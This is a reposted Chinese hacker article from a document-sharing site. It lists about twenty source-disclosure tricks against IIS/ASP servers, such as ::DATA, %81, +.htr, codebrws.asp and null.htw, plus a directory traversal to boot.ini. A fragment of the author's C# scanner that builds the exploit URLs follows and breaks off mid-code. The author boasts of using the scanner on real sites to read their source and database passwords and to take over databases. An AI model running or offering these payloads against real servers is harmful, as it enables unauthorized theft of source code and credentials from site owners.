看ASP程序源码的方法及工具

《看ASP程序源码的方法及工具》由会员上传分享，免费在线阅读，更多相关内容在工程资料-天天文库。

1、看ASP程序源码的方法及工具　众所周知windows平台漏洞百出，补丁一个接一个，但总是补也补不净。我把我所知道的20种看asp源码的方法总结了一下，并且用c#写了个应用程序来扫描这些漏洞，发现虽然大部分的方法已经不起做用，但还是有一些漏网之鱼的：），结果这两天真看到不少站的源代码，包括数据库密码，如果用access的可以把库下载下来，而用sqlserver的如果不是用udl,dsn等来连接的话，也可以通过tcp/ip网络库连接到数据库，为所欲为呀。先面把这20种方法列在下面： . %81 ::DATA

2、 %2e %2e%41sp +.htr \ longhtr .bak codebrws.asp showcode.asp null.htw qfullhit.htw qsumrhit.htw query.idq search/qfullhit.htw search/qsumrhit.htw iirturnh.htw .htw Translate:f　　上边这些漏洞前面10几条是通过在asp文件后直接加上，如%81就是xxx.asp%81，后面这些都是通过iis自带的例子或系统漏洞实现的，最特别的是那种

3、translate:f方法，它直接通过浏览器是无法使用的，必须同服务器建立tcp/ip的socket连接，发送请求才行，具体每个漏洞如何使用，看下面，这是我那个应用程序的一部分，如果你要全部的可以到我的站点去下载。 switch(this.cboMethod.SelectedIndex) { case0://直接读取 strRequestFile=strServer+strUrl; break; case5://%2e%41sp strRequestFile=strServer+strPath+strF

4、irst +"%2e%41sp"; break; case8://longhtr strRequestFile=strServer+strUrl +"+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%" +"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%" +"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" +"%20%20%20%20%20%

5、20%20%20%20%20%20%20%20%20%20%20%20" +"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" +"%20%20%20%20%20%20%20%20" +"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" +"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" +"%20%20%20%20%20%20%20%

6、20%20%20%20%20%20%20%20%20%20" +"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" +"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" +"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" +"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" +"%

7、20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr"; break; case10://codebrws.asp strRequestFile=strServer+"/iissamples/exair/howitworks/codebrws.asp?source=" +strUrl; break; case11://showcode.asp strRequestFile=strServer+"/iissamples/exair/howitworks/c

8、odebrws.asp?source=" +"/msadc/../../../../boot.ini"; break; case12://null.htw strRequestFile=strServer+"/null.htw?CiWebHitsFile=" +strUrl+"%20&CiRestriction=none&CiHiliteType=Full"; break; case13://qfullhit.htw strRequestF